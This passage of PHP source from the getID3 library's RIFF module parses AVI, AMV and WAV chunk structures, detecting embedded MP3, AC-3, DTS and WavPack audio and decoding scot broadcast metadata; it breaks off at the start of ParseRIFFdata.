			if ($thisfile_video['bitrate'] <= 0) {
				unset($thisfile_video['bitrate']);
			}
			if ($thisfile_audio['bitrate'] <= 0) {
				unset($thisfile_audio['bitrate']);
			}
		}

		if (isset($info['mpeg']['audio'])) {
			$thisfile_audio_dataformat      = 'mp'.$info['mpeg']['audio']['layer'];
			$thisfile_audio['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
			$thisfile_audio['channels']     = $info['mpeg']['audio']['channels'];
			$thisfile_audio['bitrate']      = $info['mpeg']['audio']['bitrate'];
			$thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
			if (!empty($info['mpeg']['audio']['codec'])) {
				$thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec'];
			}
			if (!empty($thisfile_audio['streams'])) {
				foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) {
					if ($streamdata['dataformat'] == $thisfile_audio_dataformat) {
						$thisfile_audio['streams'][$streamnumber]['sample_rate']  = $thisfile_audio['sample_rate'];
						$thisfile_audio['streams'][$streamnumber]['channels']     = $thisfile_audio['channels'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']      = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
						$thisfile_audio['streams'][$streamnumber]['codec']        = $thisfile_audio['codec'];
					}
				}
			}
			$getid3_mp3 = new getid3_mp3($this->getid3);
			$thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions();
			unset($getid3_mp3);
		}


		if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) {
			switch ($thisfile_audio_dataformat) {
				case 'ac3':
					// ignore bits_per_sample
					break;

				default:
					$thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample'];
					break;
			}
		}


		if (empty($thisfile_riff_raw)) {
			unset($thisfile_riff['raw']);
		}
		if (empty($thisfile_riff_audio)) {
			unset($thisfile_riff['audio']);
		}
		if (empty($thisfile_riff_video)) {
			unset($thisfile_riff['video']);
		}

		return true;
	}

	/**
	 * @param int $startoffset
	 * @param int $maxoffset
	 *
	 * @return array|false
	 *
	 * @throws Exception
	 * @throws getid3_exception
	 */
	public function ParseRIFFAMV($startoffset, $maxoffset) {
		// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size

		// https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation
		//typedef struct _amvmainheader {
		//FOURCC fcc; // 'amvh'
		//DWORD cb;
		//DWORD dwMicroSecPerFrame;
		//BYTE reserve[28];
		//DWORD dwWidth;
		//DWORD dwHeight;
		//DWORD dwSpeed;
		//DWORD reserve0;
		//DWORD reserve1;
		//BYTE bTimeSec;
		//BYTE bTimeMin;
		//WORD wTimeHour;
		//} AMVMAINHEADER;

		$info = &$this->getid3->info;
		$RIFFchunk = false;

		try {

			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			$AMVheader = $this->fread(284);
			if (substr($AMVheader,   0,  8) != 'hdrlamvh') {
				throw new Exception('expecting "hdrlamv" at offset '.($startoffset +   0).', found "'.substr($AMVheader,   0, 8).'"');
			}
			if (substr($AMVheader,   8,  4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes
				throw new Exception('expecting "0x38000000" at offset '.($startoffset +   8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,   8, 4)).'"');
			}
			$RIFFchunk = array();
			$RIFFchunk['amvh']['us_per_frame']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  12,  4));
			$RIFFchunk['amvh']['reserved28']     =                              substr($AMVheader,  16, 28);  // null? reserved?
			$RIFFchunk['amvh']['resolution_x']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  44,  4));
			$RIFFchunk['amvh']['resolution_y']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  48,  4));
			$RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  52,  4));
			$RIFFchunk['amvh']['reserved0']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  56,  4)); // 1? reserved?
			$RIFFchunk['amvh']['reserved1']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  60,  4)); // 0? reserved?
			$RIFFchunk['amvh']['runtime_sec']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  64,  1));
			$RIFFchunk['amvh']['runtime_min']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  65,  1));
			$RIFFchunk['amvh']['runtime_hrs']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  66,  2));

			$info['video']['frame_rate']   = 1000000 / $RIFFchunk['amvh']['us_per_frame'];
			$info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x'];
			$info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y'];
			$info['playtime_seconds']      = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec'];

			// the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded

			if (substr($AMVheader,  68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset +  68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,  68, 20)).'"');
			}
			// followed by 56 bytes of null: substr($AMVheader,  88, 56) -> 144
			if (substr($AMVheader, 144,  8) != 'strf'."\x24\x00\x00\x00") {
				throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144,  8)).'"');
			}
			// followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180

			if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") {
				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"');
			}
			// followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256
			if (substr($AMVheader, 256,  8) != 'strf'."\x14\x00\x00\x00") {
				throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256,  8)).'"');
			}
			// followed by 20 bytes of a modified WAVEFORMATEX:
			// typedef struct {
			// WORD wFormatTag;       //(Fixme: this is equal to PCM's 0x01 format code)
			// WORD nChannels;        //(Fixme: this is always 1)
			// DWORD nSamplesPerSec;  //(Fixme: for all known sample files this is equal to 22050)
			// DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100)
			// WORD nBlockAlign;      //(Fixme: this seems to be 2 in AMV files, is this correct ?)
			// WORD wBitsPerSample;   //(Fixme: this seems to be 16 in AMV files instead of the expected 4)
			// WORD cbSize;           //(Fixme: this seems to be 0 in AMV files)
			// WORD reserved;
			// } WAVEFORMATEX;
			$RIFFchunk['strf']['wformattag']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  264,  2));
			$RIFFchunk['strf']['nchannels']       = getid3_lib::LittleEndian2Int(substr($AMVheader,  266,  2));
			$RIFFchunk['strf']['nsamplespersec']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  268,  4));
			$RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  272,  4));
			$RIFFchunk['strf']['nblockalign']     = getid3_lib::LittleEndian2Int(substr($AMVheader,  276,  2));
			$RIFFchunk['strf']['wbitspersample']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  278,  2));
			$RIFFchunk['strf']['cbsize']          = getid3_lib::LittleEndian2Int(substr($AMVheader,  280,  2));
			$RIFFchunk['strf']['reserved']        = getid3_lib::LittleEndian2Int(substr($AMVheader,  282,  2));


			$info['audio']['lossless']        = false;
			$info['audio']['sample_rate']     = $RIFFchunk['strf']['nsamplespersec'];
			$info['audio']['channels']        = $RIFFchunk['strf']['nchannels'];
			$info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample'];
			$info['audio']['bitrate']         = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample'];
			$info['audio']['bitrate_mode']    = 'cbr';


		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFFAMV parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return $RIFFchunk;
	}

	/**
	 * @param int $startoffset
	 * @param int $maxoffset
	 *
	 * @return array|false
	 * @throws getid3_exception
	 */
	public function ParseRIFF($startoffset, $maxoffset) {
		$info = &$this->getid3->info;

		$RIFFchunk = array();
		$FoundAllChunksWeNeed = false;
		$LISTchunkParent = null;
		$LISTchunkMaxOffset = null;
		$AC3syncwordBytes = pack('n', getid3_ac3::syncword); // 0x0B77 -> "\x0B\x77"

		try {
			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			while ($this->ftell() < $maxoffset) {
				$chunknamesize = $this->fread(8);
				//$chunkname =                          substr($chunknamesize, 0, 4);
				$chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4));  // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult
				$chunksize =  $this->EitherEndian2Int(substr($chunknamesize, 4, 4));
				//if (strlen(trim($chunkname, "\x00")) < 4) {
				if (strlen($chunkname) < 4) {
					$this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.');
					break;
				}
				if (($chunksize == 0) && ($chunkname != 'JUNK')) {
					$this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.');
					break;
				}
				if (($chunksize % 2) != 0) {
					// all structures are packed on word boundaries
					$chunksize++;
				}

				switch ($chunkname) {
					case 'LIST':
						$listname = $this->fread(4);
						if (preg_match('#^(movi|rec )$#i', $listname)) {
							$RIFFchunk[$listname]['offset'] = $this->ftell() - 4;
							$RIFFchunk[$listname]['size']   = $chunksize;

							if (!$FoundAllChunksWeNeed) {
								$WhereWeWere      = $this->ftell();
								$AudioChunkHeader = $this->fread(12);
								$AudioChunkStreamNum  =                              substr($AudioChunkHeader, 0, 2);
								$AudioChunkStreamType =                              substr($AudioChunkHeader, 2, 2);
								$AudioChunkSize       = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4));

								if ($AudioChunkStreamType == 'wb') {
									$FirstFourBytes = substr($AudioChunkHeader, 8, 4);
									if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) {
										// MP3
										if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) {
											$getid3_temp = new getID3();
											$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
											$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
											$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
											$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
											$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
											if (isset($getid3_temp->info['mpeg']['audio'])) {
												$info['mpeg']['audio']         = $getid3_temp->info['mpeg']['audio'];
												$info['audio']                 = $getid3_temp->info['audio'];
												$info['audio']['dataformat']   = 'mp'.$info['mpeg']['audio']['layer'];
												$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
												$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
												$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
												$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
												//$info['bitrate']               = $info['audio']['bitrate'];
											}
											unset($getid3_temp, $getid3_mp3);
										}

									} elseif (strpos($FirstFourBytes, $AC3syncwordBytes) === 0) {
										// AC3
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
										$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
										$getid3_ac3 = new getid3_ac3($getid3_temp);
										$getid3_ac3->Analyze();
										if (empty($getid3_temp->info['error'])) {
											$info['audio']   = $getid3_temp->info['audio'];
											$info['ac3']     = $getid3_temp->info['ac3'];
											if (!empty($getid3_temp->info['warning'])) {
												foreach ($getid3_temp->info['warning'] as $key => $value) {
													$this->warning($value);
												}
											}
										}
										unset($getid3_temp, $getid3_ac3);
									}
								}
								$FoundAllChunksWeNeed = true;
								$this->fseek($WhereWeWere);
							}
							$this->fseek($chunksize - 4, SEEK_CUR);

						} else {

							if (!isset($RIFFchunk[$listname])) {
								$RIFFchunk[$listname] = array();
							}
							$LISTchunkParent    = $listname;
							$LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize;
							if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) {
								$RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk);
							}

						}
						break;

					default:
						if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) {
							$this->fseek($chunksize, SEEK_CUR);
							break;
						}
						$thisindex = 0;
						if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) {
							$thisindex = count($RIFFchunk[$chunkname]);
						}
						$RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8;
						$RIFFchunk[$chunkname][$thisindex]['size']   = $chunksize;
						switch ($chunkname) {
							case 'data':
								$info['avdataoffset'] = $this->ftell();
								$info['avdataend']    = $info['avdataoffset'] + $chunksize;

								$testData = $this->fread(36);
								if ($testData === '') {
									break;
								}
								if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) {

									// Probably is MP3 data
									if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) {
										$getid3_temp = new getID3();
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
										$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
										$getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false);
										if (empty($getid3_temp->info['error'])) {
											$info['audio'] = $getid3_temp->info['audio'];
											$info['mpeg']  = $getid3_temp->info['mpeg'];
										}
										unset($getid3_temp, $getid3_mp3);
									}

								} elseif (($isRegularAC3 = (substr($testData, 0, 2) == $AC3syncwordBytes)) || substr($testData, 8, 2) == strrev($AC3syncwordBytes)) {

									// This is probably AC-3 data
									$getid3_temp = new getID3();
									if ($isRegularAC3) {
										$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
										$getid3_temp->info['avdataend']    = $info['avdataend'];
									}
									$getid3_ac3 = new getid3_ac3($getid3_temp);
									if ($isRegularAC3) {
										$getid3_ac3->Analyze();
									} else {
										// Dolby Digital WAV
										// AC-3 content, but not encoded in same format as normal AC-3 file
										// For one thing, byte order is swapped
										$ac3_data = '';
										for ($i = 0; $i < 28; $i += 2) {
											$ac3_data .= substr($testData, 8 + $i + 1, 1);
											$ac3_data .= substr($testData, 8 + $i + 0, 1);
										}
										$getid3_ac3->getid3->info['avdataoffset'] = 0;
										$getid3_ac3->getid3->info['avdataend']    = strlen($ac3_data);
										$getid3_ac3->AnalyzeString($ac3_data);
									}

									if (empty($getid3_temp->info['error'])) {
										$info['audio'] = $getid3_temp->info['audio'];
										$info['ac3']   = $getid3_temp->info['ac3'];
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_ac3() says: ['.$newerror.']');
											}
										}
									}
									unset($getid3_temp, $getid3_ac3);

								} elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) {

									// This is probably DTS data
									$getid3_temp = new getID3();
									$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
									$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
									$getid3_dts = new getid3_dts($getid3_temp);
									$getid3_dts->Analyze();
									if (empty($getid3_temp->info['error'])) {
										$info['audio']            = $getid3_temp->info['audio'];
										$info['dts']              = $getid3_temp->info['dts'];
										$info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing
										if (!empty($getid3_temp->info['warning'])) {
											foreach ($getid3_temp->info['warning'] as $newerror) {
												$this->warning('getid3_dts() says: ['.$newerror.']');
											}
										}
									}

									unset($getid3_temp, $getid3_dts);

								} elseif (substr($testData, 0, 4) == 'wvpk') {

									// This is WavPack data
									$info['wavpack']['offset'] = $info['avdataoffset'];
									$info['wavpack']['size']   = getid3_lib::LittleEndian2Int(substr($testData, 4, 4));
									$this->parseWavPackHeader(substr($testData, 8, 28));

								} else {
									// This is some other kind of data (quite possibly just PCM)
									// do nothing special, just skip it
								}
								$nextoffset = $info['avdataend'];
								$this->fseek($nextoffset);
								break;

							case 'iXML':
							case 'bext':
							case 'cart':
							case 'fmt ':
							case 'strh':
							case 'strf':
							case 'indx':
							case 'MEXT':
							case 'DISP':
							case 'wamd':
							case 'guan':
								// always read data in
							case 'JUNK':
								// should be: never read data in
								// but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc)
								if ($chunksize < 1048576) {
									if ($chunksize > 0) {
										$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
										if ($chunkname == 'JUNK') {
											if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) {
												// only keep text characters [chr(32)-chr(127)]
												$info['riff']['comments']['junk'][] = trim($matches[1]);
											}
											// but if nothing there, ignore
											// remove the key in either case
											unset($RIFFchunk[$chunkname][$thisindex]['data']);
										}
									}
								} else {
									$this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data');
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;

							//case 'IDVX':
							//	$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize));
							//	break;

							case 'scot':
								// https://cmsdk.com/node-js/adding-scot-chunk-to-wav-file.html
								$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['alter']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   0,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['attrib']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   1,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['artnum']          = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],   2,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['title']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],   4,  43);  // "name" in other documentation
								$RIFFchunk[$chunkname][$thisindex]['parsed']['copy']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  47,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['padd']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  51,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['asclen']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  52,   5);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['startseconds']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  57,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['starthundredths'] = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  59,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['endseconds']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  61,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['endhundreths']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  63,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['sdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  65,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['kdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  71,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['start_hr']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  77,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['kill_hr']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  78,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['digital']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  79,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['sample_rate']     = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  80,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['stereo']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  82,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['compress']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  83,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['eomstrt']         = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  84,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['eomlen']          = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  88,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['attrib2']         = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'],  90,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['future1']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'],  94,  12);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['catfontcolor']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 106,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['catcolor']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 110,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['segeompos']       = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 114,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vt_startsecs']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 118,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vt_starthunds']   = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 120,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorcat']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 122,   3);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorcopy']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 125,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorpadd']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 129,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postcat']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 130,   3);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postcopy']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 133,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postpadd']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 137,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['hrcanplay']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 138,  21);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['future2']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 159, 108);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['artist']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 267,  34);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['comment']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 301,  34); // "trivia" in other documentation
								$RIFFchunk[$chunkname][$thisindex]['parsed']['intro']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 335,   2);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['end']             =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 337,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['year']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 338,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['obsolete2']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 342,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['rec_hr']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 343,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['rdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 344,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['mpeg_bitrate']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 350,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['pitch']           = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 352,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['playlevel']       = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 354,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['lenvalid']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 356,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 357,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['newplaylevel']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 361,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['chopsize']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 363,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vteomovr']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 367,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['desiredlen']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 371,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['triggers']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 375,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['fillout']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 379,   33);

								foreach (array('title', 'artist', 'comment') as $key) {
									if (trim($RIFFchunk[$chunkname][$thisindex]['parsed'][$key])) {
										$info['riff']['comments'][$key] = array($RIFFchunk[$chunkname][$thisindex]['parsed'][$key]);
									}
								}
								if ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] && !empty($info['filesize']) && ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] != $info['filesize'])) {
									$this->warning('RIFF.WAVE.scot.filelength ('.$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'].') different from actual filesize ('.$info['filesize'].')');
								}
								break;

							default:
								if (!empty($LISTchunkParent) && isset($LISTchunkMaxOffset) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) {
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset'];
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size']   = $RIFFchunk[$chunkname][$thisindex]['size'];
									unset($RIFFchunk[$chunkname][$thisindex]['offset']);
									unset($RIFFchunk[$chunkname][$thisindex]['size']);
									if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) {
										unset($RIFFchunk[$chunkname][$thisindex]);
									}
									if (count($RIFFchunk[$chunkname]) === 0) {
										unset($RIFFchunk[$chunkname]);
									}
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} elseif ($chunksize < 2048) {
									// only read data in if smaller than 2kB
									$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} else {
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;
						}
						break;
				}
			}

		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFF parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return !empty($RIFFchunk) ? $RIFFchunk : false;
	}

	/**
	 * @param string $RIFFdata
	 *
	 * @return bool
	 */
	public function ParseRIFFdata(&$RIFFdata) {
		$info = &$this->getid3->info;
		if ($RIFFdata) {
			$tempfile = tempnam(GETID3_TEMP_DIR, 'getID3');
			$fp_temp  = fopen($tempfile, 'wb');
			$RIFFdataLength = strlen($RIFFdata);
